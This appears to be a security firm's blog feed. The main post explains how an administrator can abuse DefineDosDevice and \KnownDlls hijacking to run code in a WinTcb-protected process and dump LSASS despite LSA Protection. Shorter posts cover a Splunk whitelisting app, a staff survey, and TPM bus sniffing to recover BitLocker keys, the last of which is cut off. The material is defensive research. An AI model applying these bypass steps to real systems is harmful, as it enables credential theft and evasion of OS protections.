When the PP model was first introduced with Windows Vista, a process was either protected or unprotected. Then, beginning with Windows 8.1, the PPL model extended this concept and introduced protection levels. The immediate consequence is that some PP(L)s can now be more protected than others. The most basic rule is that an unprotected process can open a protected process only with a very restricted set of access flags such as PROCESS_QUERY_LIMITED_INFORMATION. If they request a higher level of access, the system will return an Access is Denied error.

For PP(L)s, it’s a bit more complicated. The level of access they can request depends on their own level of protection. This protection level is partly determined by a special EKU field in the file’s digital certificate. When a protected process is created, the protection information is stored in a special value in the EPROCESS Kernel structure. This value stores the protection level (PP or PPL) and the signer type (e.g.: Antimalware, Lsa, WinTcb, etc.). The signer type establishes a sort of hierarchy between PP(L)s. Here are the basic rules that apply to PP(L)s:

  • A PP can open a PP or a PPL with full access if its signer type is greater or equal.
  • A PPL can open a PPL with full access if its signer type is greater or equal.
  • A PPL cannot open a PP with full access, regardless of its signer type.

For example, when LSA Protection is enabled, lsass.exe is executed as a PPL, and you will observe the following protection level with Process Explorer: PsProtectedSignerLsa-Light. If you want to access its memory you will need to call OpenProcess and specify the PROCESS_VM_READ access flag. If the calling process is not protected, this call will immediately fail with an Access is Denied error, regardless of the user’s privileges. However, if the calling process were a PPL with a higher level (WinTcb for instance), the same call would succeed (as long as the user has the appropriate privileges obviously). As you will have understood, if we are able to create such a process and execute arbitrary code inside it, we will be able to access LSASS even if LSA Protection is enabled. The question is: can we achieve this goal without using any Kernel code?


The PP(L) model effectively prevents an unprotected process from accessing protected processes with extended access rights using OpenProcess for example. This prevents simple memory access, but there is another aspect of this protection I did not mention. It also prevents unsigned DLLs from being loaded by these processes. This makes sense, otherwise the overall security model would be pointless as you could just use any form of DLL hijacking and inject arbitrary code into your own PPL process. This also explains why a particular attention should be paid to third-party authentication modules when enabling LSA Protection.

There is one exception to this rule though! And this is probably where the biggest difference between a PP and a PPL lies. If you know about the DLL search order on Windows, you know that, when a process is created, it first goes through the list of “Known DLLs”, then it continues with the application’s directory, the System directories and so on… In this search order, the “Known DLLs” step is a special one and is usually taken out of the equation for DLL hijacking exploits because a user has no control over it. Though, in our case, this step is precisely the “Achille’s heel” of PPL processes.

The “Known DLLs” are the DLLs that are most commonly loaded by Windows applications. Therefore, to increase the overall performance, they are preloaded in memory (i.e. they are cached). If you want to see the complete list of “Known DLLs”, you can use WinObj and take a look a the content of the \KnownDlls directory within the object manager.

WinObj – Known DLLs

Since these DLLs are already in memory, you should not see them if you use Process Monitor to check the file operations of a typical Windows application. Things are a bit different when it comes to Protected Processes though. I will take SgrmBroker.exe as an example here.

Known DLLs loaded by a Protected Process

As we can see in Process Explorer, SgrmBroker.exe was started as a Protected Process (PP). When the process starts, the very first DLLs that are loaded are kernel32.dll and KernelBase.dll, which are both… …”Known DLLs”. Yes, in the case of a PP, even the “Known DLLs” are loaded from the disk, which implies that the digital signature of each file is always verified. However, if you do the same test with a PPL, you will not see these DLLs in Process Monitor as they behave like normal processes in this case.

This fact is particularly interesting because the digital signature of a DLL is only verified when the file is mapped, i.e. when a Section is created. This means that, if you are able to add an arbitrary entry to the \KnownDlls directory, you can then inject an arbitrary DLL and execute unsigned code in a PPL.

Adding an entry to \KnownDlls is easier said than done though because Microsoft already considered this attack vector. As explained by James Forshaw in his blog post, the \KnownDlls object directory is marked with a special Process Trust Label as you can see on the screenshot below.

KnownDlls directory Process Trust Label

As you may imagine, based on the name of the label, only protected processes that have a level higher than or equal to WinTcb – which is actually the highest level for PPLs – can request write access to this directory. But all is not lost as this is exactly where the clever trick found by JF comes into play.

MS-DOS Device Names

As mentioned in the introduction, the technique found by James Forshaw relies on the use of the API function DefineDosDevice, and involves some Windows internals that are not easy to grasp. Therefore, I will first recap some of these concepts here before dealing with the method itself.


Here is the prototype of the DefineDosDevice function:

BOOL DefineDosDeviceW(
  DWORD   dwFlags,
  LPCWSTR lpDeviceName,
  LPCWSTR lpTargetPath

As suggested by its name, the purpose of the DefineDosDevice is to literally define MS-DOS device names. An MS-DOS device name is a symbolic link in the object manager with a name of the form \DosDevices\DEVICE_NAME (e.g.: \DosDevices\C:) as explained in the documentation. So, this function allows you to map an actual “Device” to a “DOS Device”. This is exactly what happens when you plug in an external drive or a USB key for example. The device is automatically assigned a drive letter, such as E:. You can get the corresponding mapping by invoking QueryDosDevice.

WCHAR path[MAX_PATH + 1];

if (QueryDosDevice(argv[1], path, MAX_PATH)) {
    wprintf(L"%ws -> %ws\n", argv[1], path);
Querying an MS-DOS device’s mapping

In the above example, the target device is \Device\HarddiskVolume5 and the MS-DOS device name is E:. But wait a minute, I said that an MS-DOS device name was of the form \DosDevices\DEVICE_NAME. So, this cannot be just a drive letter. No worries, there is an explanation. For both DefineDosDevice and QueryDosDevice, the \DosDevices\ part is implicit. These functions automatically prepend the “device name” with \??\. So, if you provide E: as the device name, they will use the NT path \??\E: internally. Even then, you will tell me that \??\ is still not \DosDevices\, and this would be a valid point. Once again, WinObj will help us solve this “mystery”. In the root directory of the object manager, we can see that \DosDevices is just a symbolic link that points to \??. As a result, \DosDevices\E: -> \??\E:, so we can consider them as the same thing. This symbolic link actually exists for legacy reasons because, in older versions of Windows, there was only one DOS device directory.

WinObj – DosDevices symbolic link

Local DOS Device Directories

The path prefix \??\ itself has a very special meaning. It represents the local DOS device directory of a user and therefore refers to different locations in the object manager, depending on the current user’s context. Concretely, \?? refers to the full path \Sessions\0\DosDevices\00000000-XXXXXXXX, where XXXXXXXX is the user’s logon authentication ID. There is one exception though, for NT AUTHORITY\SYSTEM, \?? refers to \GLOBAL??. This concept is very important so I will take two examples to illustrate it. The first one will be the USB key I used previously and the second one will be an SMB share I manually mount through the Explorer.

In the case of the USB key, we already saw that \??\E: was a symbolic link to \Device\HarddiskVolume5. As it was mounted by SYSTEM, this link should exist within \GLOBAL??\. Let’s verify that with WinObj.

WinObj – \GLOBAL??\E: symbolic link

Everything is fine! Now, let’s map an “SMB share” to a drive letter and see what happens.

Mapping a Network Drive

This time, the drive is mounted as the logged-on user, so \?? should refer to \Sessions\0\DosDevices\00000000-XXXXXXXX, but what is the value of XXXXXXXX? To find it, I will use Process Hacker and check the advanced properties of my explorer.exe process’ primary access token.

Process Hacker – Explorer’s token advanced properties

The authentication ID is 0x1abce so the symbolic link should have been created inside \Sessions\0\DosDevices\00000000-0001abce. Once again, let’s verify that with WinObj.

WinObj – SMB share symbolic link

There it is! The symbolic link was indeed created in this directory.

Why DefineDosDevice?

As we saw in the previous part, the device mapping operation consists of a simple symbolic link creation in the caller’s DOS device directory. Any user can do that as it affects only their session. But there is a problem, because low-privileged users can only create “Temporary” kernel objects, which are removed once all their handles have been closed. To solve this problem, the object must be marked as “Permanent“, but this requires a particular privilege (SeCreatePermanentPrivilege) which they do not have. So, this operation must be performed by a privileged service that has this capability.

The symbolic link is marked as “Permanent”

As outlined by JF in his blog post, DefineDosDevice is just a wrapper for an RPC method call. This method is exposed by the CSRSS service and is implemented in BaseSrvDefineDosDevice inside BASESRV.DLL. What is special about this service is that it runs as a PPL with the protection level WinTcb.

CSRSS service runing as a PPL (WinTcb)

Although this is a requirement for our exploit, it is not the most interesting fact about DefineDosDevice. What is even more interesting is that the value of lpDeviceName is not sanitized. This means that you are not bound to provide a drive letter such as E:. We will see how we can leverage this to trick the CSRSS service into creating an arbitrary symbolic link in an arbitrary location such as \KnownDlls.

Exploiting DefineDosDevice

In this part, we will take a deep dive into the DefineDosDevice function. We will see what kind of weakness lies inside it and how we can exploit it to reach our goal.

The Inner Workings of DefineDosDevice

In his article, JF did all the heavy lifting as he reversed the BaseSrvDefineDosDevice function and provided us with the corresponding pseudo-code. You can check it out here. If you do so, you should note that there is slight mistake at step 4 though, it should be CsrImpersonateClient(), not CsrRevertToSelf(). Anyway, rather than copy-pasting his code, I will try to provide a high-level overview using a diagram instead.

Overview of BaseSrvDefineDosDevice

In this flowchart, I highlighted some elements with different colors. The impersonation functions are in orange and the symbolic link creation steps are in blue. Finally, I highlighted the critical path we need to take in red.

First, we can see that the CSRSS service tries to open \??\DEVICE_NAME while impersonating the caller (i.e. the RPC client). The main objective is to delete the symbolic link first if it already existed. But there is more to it, the service will also check whether the symbolic link is “global”. For that purpose, an internal function, which is not represented here, simply checks whether the “real” path of the object starts with \GLOBAL??\. If so, impersonation is disabled for the rest of the execution and the service will not impersonate the client prior to the NtCreateSymbolicLinkObject() call, which means that the symbolic link will be created by the CSRSS service itself. Finally, if this operation succeeds, the service marks the object as “Permanent” as I mentioned earlier.

A Vulnerability?

At this point you may have realized that there is a sort of TOCTOU (Time-of-Check Time-of-Use) vulnerability. The path used to open the symbolic link and the path used to create it are the same: \??\DEVICE_NAME. However, the “open” operation is always done while impersonating the user whereas the “create” operation might be done directly as SYSTEM if impersonation is disabled. And, if you remember what I explained earlier, you know that \?? represents a user’s local dos device directory and therefore resolves to different paths depending on the user’s identity. So, although the same path is used in both cases, it may well refer to completely different locations in reality!

In order to exploit this behavior, we must solve the following challenge: we need to find a “device name” that resolves to a “global object” we control when the service impersonates the client. And this same “device name” must resolve to \KnownDlls\FOO.dll when impersonation is disabled. This sounds a bit tricky, but we will go through it step by step.

Let’s begin with the easiest part first. We need to determine a value for DEVICE_NAME in \??\DEVICE_NAME such that this path resolves to \KnownDlls\FOO.dll when the caller is SYSTEM. We also know that \?? resolves to \GLOBAL?? in this case.

If you check the content of the \GLOBAL??\ directory, you will see that there is a very convenient object inside it.

WinObj – The “real” GLOBALROOT

In this directory, the GLOBALROOT object is a symbolic link that points to an empty path. This means that a path such as \??\GLOBALROOT\ would translate to just \, which is the root of the object manager (hence the name “global root”). If we apply this principle to our “device name”, we know that \??\GLOBALROOT\KnownDlls\FOO.DLL would resolve to \KnownDlls\FOO.dll when the caller is SYSTEM. This is one part of the problem solved!

Now, we know that we should supply GLOBALROOT\KnownDlls\FOO.DLL as the “device name” for the DefineDosDevice function call (remember that \??\ will be automatically prepended to this value). If we want the CSRSS service to disable impersonation, we also know that the symbolic link object must be considered as “global” so its path must start with \GLOBAL??\. So, the question is: how do you transform a path such as \??\GLOBALROOT\KnownDlls\FOO.DLL into \GLOBAL??\KnownDlls\FOO.dll? The solution is actually quite straightforward as this is pretty much the very definition of a symbolic link! When the service impersonates the user, we know that \?? refers to the local DOS device directory of this particular user, so all you have to do is create a symbolic link such that \??\GLOBALROOT points to \GLOBAL??, and that’s it.

To summarize, when the path is opened by a user other than SYSTEM:

-> \Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT\KnownDlls\FOO.dll

-> \GLOBAL??\KnownDlls\FOO.dll

On the other hand, if the same path is opened by SYSTEM:


-> \KnownDlls\FOO.dll

There is one last thing that needs to be taken care of. Before checking whether the object is “global” or not, it must first exist, otherwise the initial “open” operation would just fail. So, we need to make sure that \GLOBAL??\KnownDlls\FOO.dll is an existing symbolic link object prior to calling DefineDosDevice.

WinObj – Permissions of \GLOBAL??

There is a slight issue here. Administrators cannot create objects or even directories within \GLOBAL??. This is not really a problem; this just adds an extra step to our exploit as we will have to temporarily elevate to SYSTEM first. As SYSTEM, we will be able to first create a fake KnownDlls directory inside \GLOBAL??\ and then create a dummy symbolic link object inside it with the name of the DLL we want to hijack.

The Full Exploit

There is a lot of information to digest so, here is a short recap of the exploit steps before we discuss the last considerations. In this list, we assume we are executing the exploit as an administrator.

  1. Elevate to SYSTEM, otherwise we will not be able to create objects inside \GLOBAL??.
  2. Create the object directory \GLOBAL??\KnownDlls to mimic the actual \KnownDlls directory.
  3. Create the symbolic link \GLOBAL??\KnownDlls\FOO.dll, where FOO.dll is the name of the DLL we want to hijack. Remember that what matters is the name of the link itself, not its target.
  4. Drop the SYSTEM privileges and revert to our administrator user context.
  5. Create a symbolic link in the current user’s DOS device directory called GLOBALROOT and pointing to \GLOBAL??. This step must not be done as SYSTEM because we want to create a fake GLOBALROOT link inside our own DOS directory.
  6. This is the centerpiece of this exploit. Call DefineDosDevice with the value GLOBALROOT\KnownDlls\FOO.dll as the device name. The target path of this device is the location of the DLL but I will get to that in the next part.

Here is what happens inside the CSRSS service at the final step. It first receives the value GLOBALROOT\KnownDlls\FOO.dll and prepends it with \??\ so this yields the device name \??\GLOBALROOT\KnownDlls\FOO.dll. Then, it tries to open the corresponding symbolic link object while impersonating the client.

-> \Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT\KnownDlls\FOO.dll
-> \GLOBAL??\KnownDlls\FOO.dll

Since the object exists, it will check if it’s global. As you can see, the “real” path of the object starts with \GLOBAL??\ so it’s indeed considered global, and impersonation is disabled for the rest of the execution. The current link is deleted and a new one is created, but this time, the RPC client is not impersonated, so the operation is done in the context of the CSRSS service itself as SYSTEM:

-> \KnownDlls\FOO.dll

Here we go! The service creates the symbolic link \KnownDlls\FOO.dll with a target path we control.

DLL Hijacking through Known DLLs

Now that we know how to add an arbitrary entry to the \KnownDlls directory, we should come back to our original problem, and our exploit constraints.

Which DLL to Hijack?

We want to execute arbitrary code inside a PPL, and ideally with the signer type “WinTcb”. So, we need to find a suitable executable candidate first. On Windows 10, four built-in binaries can be executed with such a level of protection as far as I know: wininit.exe, services.exe, smss.exe and csrss.exe. smss.exe and csrss.exe cannot be executed in Win32 mode so we can eliminate them. I did a few tests with wininit.exe but letting this binary run as an administrator with debug privileges is a bad idea. Indeed, there is a high chance it will mark itself as a Critical Process, meaning that when it terminates, the system will likely crash with a BSOD.

This leaves us with only one potential candidate: services.exe. As it turns out, this is the perfect candidate for our purpose. Its main function is very easy to decompile and understand. Here is the corresponding pseudo-code.

int wmain()
    HANDLE hEvent;
    hEvent = OpenEvent(SYNCHRONIZE, FALSE, L"Global\\SC_AutoStartComplete");
    if (hEvent) {
    } else {
        RtlSetProcessIsCritical(TRUE, NULL, FALSE);
        if (NT_SUCCESS(RtlInitializeCriticalSection(&CriticalSection))
    return 0;

It first tries to open a global Event object. If it worked, the handle is closed, and the process terminates. The actual main function SvcctrlMain() is executed only if this Event object does not exist. This makes sense, this simple synchronization mechanism makes sure services.exe is not executed twice, which is perfect for our use case as we don’t want to mess with the Service Control Manager (services.exe is the image file used by the SCM).

WinObj – SC_AutoStartComplete global Event

Now, in order to get a first glimpse at the DLLs that are loaded by services.exe, we can use Process Monitor with a few filters.

Process Monitor – DLLs loaded by services.exe

From this output, we know that services.exe loads three DLLs (which are not Known DLLs) but this information, on its own, is not sufficient. We need to also find which functions are imported. So, we need to take a look at the PE’s import table.

IDA – Import table of services.exe

Here, we can see that only one function is imported from dpapi.dll: CryptResetMachineCredentials. Therefore, this is the simplest DLL to hijack. We just have to remember that we will have to export this function, otherwise our crafted DLL will not be loaded.

But is it that simple? The short answer is “no”. After doing some testing on various installations of Windows, I realized that this behavior was not consistent. On some versions of Windows 10, dpapi.dll is not loaded at all, for some reason. In addition, the DLLs that are imported by services.exe on Windows 8.1 are completely different. In the end, I had to take all these differences into account in order to build a tool that works on all the recent versions of Windows (including the Server editions) but you get the overall idea.

DLL File Mapping

In the previous parts, we saw how we could trick the CSRSS service into creating an arbitrary symbolic link object in \KnownDlls but I intentionally omitted an essential part: the target path of the link.

A symbolic link can virtually point to any kind of object in the object manager but, in our case, we have to mimic the behavior of a library being loaded as a Known DLL. This means that the target must be a Section object, rather than the DLL file path for example.

As we saw earlier, “Known DLLs” are Section objects which are stored in the object directory \KnownDlls and this is also the first location in the DLL search order. So, if a program loads a DLL named FOO.dll and the Section object \KnownDlls\FOO.dll exists, then the loader will use this image rather than mapping the file again. In our case, we have to do this step manually. The term “manually” is a bit inappropriate though as we do not really have to map the file ourselves if we do this in the “legitimate way”.

A Section object can be created by invoking NtCreateSection. This native API function requires an AllocationAttributes argument, which is usually set to SEC_COMMIT or SEC_IMAGE. When SEC_IMAGE is set, we can specify that we want to map a previously opened file as an executable image file. Therefore, it will be properly and automatically mapped into memory. But this means that we have to embed a DLL, write it to the disk, open it with CreateFile to get a handle on the file and finally invoke NtCreateSection. For a Proof-of-Concept, this is fine, but I wanted to go the extra mile and find a more elegant solution.

Another approach would consist in doing everything in memory. Similarly to the famous Process Hollowing technique, we would have to create a Section object with enough memory space to store the content of our DLL’s image, then parse the NT headers to identify each section inside the PE and map them appropriately, which is what the loader does. This a rather tedious process and I did not want to go this far. Though, while doing my research, I stumbled upon a very interesting blog post about “DLL Hollowing” by @_ForrestOrr. In his Proof-of-Concept he made use of Transactional NTFS (a.k.a TxF) to replace the content of an existing DLL file with his own payload without really modifying it on disk. The only requirement is that you must have write permissions on the target file.

In our case, we assume that we have admin privileges, so this is perfect. We can open a DLL in the System directory as a transaction, replace its content with our payload DLL and finally use the opened handle in the NtCreateSection API function call with the flag SEC_IMAGE. But I did say that we still need to have write permissions on the target file, even though we don’t really modify the file itself. This is a problem because system files are owned by TrustedInstaller, aren’t they? Since we assume we have admin privileges, we could well elevate to TrustedInstaller but there is a simpler solution. It turns out some (DLL) files within C:\Windows\System32\ are actually owned by SYSTEM, so we just have to search this directory for a proper candidate. We should also make sure that its size is large enough so that we can replace its content with our own payload.

Exploiting as SYSTEM?

In the exploit part, I insisted on the fact that the DefineDosDevice API function must be called as any user other than SYSTEM, otherwise the whole “trick” would not work. But what if we are already SYSTEM and we don’t have an administrator account. We could create a temporary local administrator account, but this would be quite lame. A better thing to do is simply impersonate an existing user. For instance, we can impersonate LOCAL SERVICE or NETWORK SERVICE, as they both have their own DOS device directory.

Assuming we have “debug” and “impersonate” privileges, we can list the current processes, find one that runs as LOCAL SERVICE, duplicate the primary token and temporarily impersonate this user. It’s as simple as that.

No matter if we are executing the exploit as SYSTEM or as an administrator, in both cases, we will have to go back and forth between two identities without losing track of things.


In this post, we saw how a seemingly benign API function could be leveraged by an administrator to eventually inject arbitrary code into a PPL with the highest level using some very clever tricks. I implemented this technique in a new tool – PPLdump – in reference to ProcDump. Assuming you have administrator or SYSTEM privileges, it allows you to dump the memory of any PPL, including LSASS when LSA Protection is enabled.

This “vulnerability”, initially published in 2018, is still not patched. If you wonder why, you can check out the Windows Security Servicing Criteria section in the Microsoft Bug Bounty program. You will see that even a non-admin to PPL bypass is not a serviceable issue.

Windows Security Servicing Criteria

By implementing this technique in a standalone tool, I learned a lot about some Windows Internals which I did not really have the opportunity to tackle before. In return, I covered a lot of those aspects in this blog post. But this would have certainly not been possible if great security researchers such as James Forshaw (@tiraniddo) did not share their knowledge through their various publications. So, once again, I want to say a big thank you to him.

If you want to read the original publication or if you want to learn more about “DLL Hollowing“, you can check out the following resources.

  • @tiraniddo – Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege – link
  • @_ForrestOrr – Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing – link

Splunk & advanced filtering with Event Masker

3 May 2021 at 14:34

What is Splunk ?

Splunk is a Data-to-Everything Platform designed to ingest and analyze all kind of data. They can be visualized and correlated through Splunk searches, alerts, dashboards, and reports. Splunk is the #1 of 2020 Gartner Magic Quadrants in SIEMs for its performant analysis and visionary in Application Performance Management category.

Splunk and SCRT Analytics Team

SCRT provides its Splunk-based SIEM solution focused in first place on suspicious behavior detection through a custom library of use cases based on its on-field experience and know-how in Cyber Security.

SCRT chose Splunk Enterprise and Splunk Enterprise Security providing an integration with customer infrastructure and providing all the Splunk power to ingest, correlate, analyse and display valuable information for anomaly detection.

Nevertheless, Splunk has a lack of a viable solution for a proper whitelisting strategy that would enable users to delete part of their search results. For this purpose, SCRT has developed a custom Splunk app called “Event Masker” that provides filtering functionalities with a simple and powerful whitelist rules editor.

Event Masker

Event Masker provides filtering functionalities in Splunk, thereby permitting you to whitelist the events of your choice. Even though you can use Event Masker on any dashboard or query in the Splunk search bar, it was primarily built to reduce the number of false positives in Splunk Enterprise Security by better controlling its notable events.

Event Masker provides:

  • Rules management through an advanced interface that permits to create, import, export and edit rules properties. Each Rule contains a set of conditions, applied when Event Masker is called in a Splunk search command or correlation search.
Rules list interface
Rule’s properties
Rule’s conditions
  • The custom search command “mask” which permits to call Event Masker from the command line.

  • Some dashboards to audit the masked events and check the underlying rules.An audit log that permits to further track events that were masked over time
Event Masker Overview dashboard
Masked events over time
Rule logs


Event Masker was released under CC BY-NC 4.0 and published on SplunkBase :

We are pleased to provide this app freely to the Splunker’s community with a public GitHub repository Feel free to co-develop with us on this app to improve the Splunk experience and the efficiency of threats detections.

Many thanks to the whole SCRT Analytics team for its expertise and performance that permitted to achieve this great project.

Event Masker – 2021.08 Release

26 July 2021 at 12:43

We are proud to announce a new release for Event Masker, with many productivity tweaks and significant enhancements.

ES Integration

It was cumbersome to move from the tab where you had the notable event you wanted to mask, to the tab with Event Masker opened on the correct rule. That is why you may now create a mask rule directly from Splunk Enterprise Security Incident Review panel.

By selecting the Actions drop down menu and clicking on Whitelist Notable in Event Masker, you are directed to the rule creation page. The notable events fields are prefilled, as well as the scope and name of the rule, so it is easy for you to pick what you need. Tick the boxes, tweak the lines as you see fit, and that’s it! Don’t waste anymore time copy/pasting the values!

ES Workflow action redirect to Event Masker form

Validity Period Logic

Event whitelisting based on timespan needed to be more flexible. Previously, we used the time of search to decide when to mask events. From now on, we use the generated time of the given events.

Also, we have seen that the _time field is not necessarily available at the moment you invoke the mask streaming command. Thus, we added the timefield argument to specify against which field you want time exclusions to be applied. For programmatic reasons, its format is %Y-%m-%d %H:%M:%S.%Q.

This enables, for instance, to mask a maintenance window where you see the same events again and again.

Below is an example of logs that are masked only between 10:10 AM and 10:20 AM:

Validity period

Revisited Interface

To ease your life, we moved all the parameters related to a rule on a single page. The rule properties are now above their conditions, to keep a simple and consistent view of what you are doing.

New consolidated edit form

Customizable Rule Types

Want to classify you rules your way? The list of rule types is now based on a lookup table you may edit however you’d like. You may use the well known Splunk application Lookup Editor to update event_masker_rules_type_lookup.csv.

Detailed Comments

Imagine a rule with many hash values. With the new comment column available on every condition, you can explain what it actually means. This new field grants you unprecedented capability to document the rule at the best place of all!

Dashboard and Logs

We extended the logs generated by the mask command and added logs for rule changes (currently, this feature requires write permission on _internals).

This enables new filters on existing dashboards. For instance, the mask command activity can be filtered by scope, rule title or log level.

From the rule list panel, you may jump to the logs to review all changes that occurred on this rule. We see a couple of use cases:

  • troubleshooting regression implied by a recent change
  • peer review of new whitelists

Hence, two new dashboards are available: Event Masker Logs for mask command, and Event Masker Audit Logs for rule logs. Isn’t it simple?

Event Masker logs
Event Masker Audit logs

A new panel on Event Masker Overview shows all the rules and conditions for a given scope:

Rule conditions by scope panel

Default Permission

We updated default permission to add ess_user, ess_analyst and ess_admin roles to read the app content, and added ess_admin write capabilities.

Fetch the Update

You may find the app on:

Feedback Welcomed!

We’d love hearing from you: what you achieved, what you think of it, the features you miss, and the unlikely bugs you found 😉 You may reach us with GitHub issues or at the e-mail address provided in the readme.

Last but not least, a thunder applause for SCRT’s engineers whose commitment to excellence made this update possible!

Internal security recommendations survey

11 October 2021 at 13:11

During the first wave of Covid and most people locked up at home, I wanted to engage with my colleagues in various departments here at SCRT by having them answer a simple survey. The survey related to what actions they would recommend and prioritize in order to secure the information system of a random company, which had just received notification that a cyberattack was imminent.

The survey

Everybody was asked to provide up to 10 recommendations and my initial goal was to see whether there was a consensus between our different teams. For example, I wanted to make sure that our sales team would provide similar answers to our engineering teams.

In any case, I wanted to keep the answers as open as possible, which made it a little harder to parse the results, since some of my colleagues gave some very creative answers. One such example were the recommendations of writing a book on how to obtain a magical budget, followed by a sequel on how to spend that budget with SCRT. Needless to say, this was a bit of an outlier, but for other cases, I attempted to group similar answers into categories. For example, the two following recommendations “Install a good anti-virus solution on workstations” and “Setup EDR agents on all workstations and servers with machine learning capabilities such as Cortex XDR Pro” were eventually summarised as “EDR/AV”.

I had to make some choices as to what would be grouped together. I decided EDR and AV solutions could be considered as a similar recommendations, while I decided that “Updates” and “Vulnerability management” were going to remain separate. A number of answers were grouped into “Network isolation” which also explains some of the results I’ll give below.
After categorizing each one of the recommendations, I then attributed a weight from 1 to 10 to each of them depending on the priority given by the person.


Without any further ado, here are the most frequently recommended actions (with their cumulated weight) out of the 33 colleagues who responded to my survey:

  1. Network isolation (173)
  2. Security patching (107)
  3. Configurations hardening (100)
  4. Limit external exposure (97)
  5. SIEM/SOC (95)
  6. Awareness training (95)
  7. Audit (89)
  8. Multi-factor authentication (87)
  9. Privileged access management (82)
  10. Backups (49)
  11. EDR/AV (45)
  12. LAPS (41)
  13. Robust password policy (40)
  14. DMZ (37)
  15. WAF (37)
  16. Contact SCRT 😉 (22 points)

If we ignore the weights and just count the number of times each recommendation is given, we obtain the following results.

  1. Network isolation (25)
  2. SIEM/SOC (22)
  3. Audit (22)
  4. Security patching (20)
  5. Configurations hardening (20)
  6. Awareness training (15)
  7. Privileged access management (14)
  8. Multi-factor authentication (14)
  9. Limit external exposure (11)
  10. EDR/AV (9)
  11. Robust password policy (8)
  12. LAPS (7)
  13. Backups (7)
  14. Bitlocker (6)
  15. Physical access (5)
  16. Contact SCRT 😉 (4)


The differences are interesting to look at as they mean for example that most people recommended implementing a SIEM/SOC and performing an audit, but these were not considered as priorities.

I think it is important here to stress that when we mention “network isolation”, it goes beyond simple network segmentation. We are not talking about ensuring you have different VLANs for different types of systems, but actively enforcing appropriate firewalls between VLANs and within the same VLAN. It is this active firewalling which can prevent the exploitation of vulnerabilities in the first place and reduce the possibilities of lateral movement. While micro-segmentation and Zero Trust are valuable objectives, in the mean time, properly configuring the current firewalls has to be a priority.

When analysing the responses on a department level, it was interesting to see that our support team tends to recommend contacting SCRT and our analytics team recommends implementing a SIEM/SOC. Our pentesting team does not necessarily recommend performing an audit as a top priority, probably because we already anticipate what the findings are likely to be, which kind of skews the results. For our sales team though, performing an audit received the highest priority.

Wrapping things up

Based on the answers, I drew up a mindmap of actions that could be taken to improve the security of an information system. It contains more details than what is summarised in this blog post and the actions have been grouped by the following objectives:

  • Prevent the initial intrusion
  • Detect the intrusion
  • Limit its propagation
  • Protect/preserve sensitive data
  • Manage risk

There is already quite a bit of information in here, though there is even more which is still missing, but it does give an overview of the higher priority aspects, which can be worked on to generally improve the security posture of a company.

TPM sniffing

15 November 2021 at 13:37

TL;DR: we reproduced Denis Andzakovic’s proof-of-concept showing that it is possible to read and write data from a BitLocker-protected device (for instance, a stolen laptop) by sniffing the TPM key from the LCP bus.

Authors: Thomas Dewaele & Julien Oberson

Special thanks to Denis Andzakovic for his proof-of-concept and Joe Grand (@joegrand) for his hardware hacking teachings at Insomni’hack 2018.


Bitlocker is the Full Disk Encryption (FDE) solution offered by Microsoft for its Windows operating systems starting with Windows Vista to protect users’ data at rest. The solution offers various configurations including several ways to store the decryption key. The most common configuration consists in storing the Volume Master Key (VMK) within the Trusted Platform Module (TPM) that is embedded in recent computers.

This setup is interesting because the decryption is completely transparent to the user. This benefit surpasses others since many companies are reluctant to configure an additional password/PIN for the user to boot its computer. The downside is that it opens the door to several attacks including the TPM sniffing described in this post but also DMA or Cold Boot attacks.

Under the hood, the TPM checks various system properties during the startup to ensure that the boot sequence has not been altered. If the validation succeeds, the VMK is released and transmitted to the CPU which could start to decrypt the disk and to load the operating system.

Depending on the hardware, the TPM can be connected to the motherboard with several communication channels including LPC, I2C or SPI. These buses share a common property, namely a low transmission speed (the clock is generally around 25Mhz). This is not an issue for the solution because only a limited quantity of data has to be transmitted but it makes channel sniffing easier since required hardware is inexpensive.

Finding the TPM

The first step to perform this attack is to locate the right place to probe. Of course, the location varies depending on each motherboard. In our case, the test subject was a Lenovo ThinkPad L440.

The best way to find the communication bus is if you can obtain the motherboard schematics, but we could only find one website that had the schematics for the L440, and it seemed a bit dodgy.

Paying for motherboard schematics via Western Union: seems legit.

Instead, we decided to go the manual way and started our journey by locating the TPM chip. These chips usually come in TSSOP28 or VQFN32 packages. We found a TSSOP28 chip labeled P24JPVSP under the trackpad and Google seemed to indicate that it is related to TPM:

TPM chip (bottom-right) and debug pads (top-left).

As evidenced by the logo, the chip is made by ST Microelectronics, but the reference P24JPVSP was not found on After some educated guesses and some more Google searches, we arrived to the conclusion that it is probably equivalent to the ST33TPM12LPC chip which relies on LPC for communications. Here is the pinout from the data sheet:

ST33TPM12LPC pinout.

In order to retrieve the LPC frames, we need to probe the following 6 signals (+ ground):

Descriptions of the required signals to decode LPC frames.
  • LAD0, LAD1, LAD2 and LAD3 are the 4 bits bus where data is actually exchanged to and from the chip
  • The frame signal is used to indicate when individual LPC frames start or end
  • The clock signal is just a cyclic tic at a constant frequency (in our case 25 MHz) that is used to synchronize all the other signals

Now, if (1) you have the correct equipment and (2) you’re confident in your micro-soldering skills, you can solder wires directly on these pins to attach the probes, but the space between each pin is only 0.65 millimeters (for our metrically impaired readers, this is 0.4 millionths of a mile). We did not meet several of these two requirements.

Fortunately, it is not uncommon to find more convenient places on the board that are connected to these pins. As you can see in the picture above, there are 6 pads directly next to the chip, and you can follow the traces to get the following pinout:

  1        2        3        4        5        6
LAD0     LAD1    LFRAME    LAD2     LAD3     LRESET

Unfortunately, the LCLK signal is missing! It seems that the trace going to this pin is coming from the other side of the motherboard. On the bottom side, this is located under the WiFi module, and it was initially covered by black tape:

Surprise! The LPC debug pads were trying to hide, but we caught them by surprise (hence the blurry picture).

We were happy to discover these (relatively) big LPC debug pads, meaning that not only we should have an easier time soldering probes there, but also we can perform the attack by just removing the bottom panel without the need to disassemble the whole laptop and keyboard assembly.

Using a multimeter in continuity mode, we determined the pinout of these pads (which was a bit acrobatic since the chip is on the other side of the board). Unfortunately, we were still missing LCLK, and one of the pads did not seem to be connected to anything. We thought that this was too big a coincidence and surely this unknown pad was actually LCLK, except the circuit is going through some resistors between the pad and the pin.

At this point, we could have probably YOLO’ed it and hoped that our assumption was correct, but we thought that we would actually try to purchase the motherboard schematics from the strange website mentioned at the beginning.

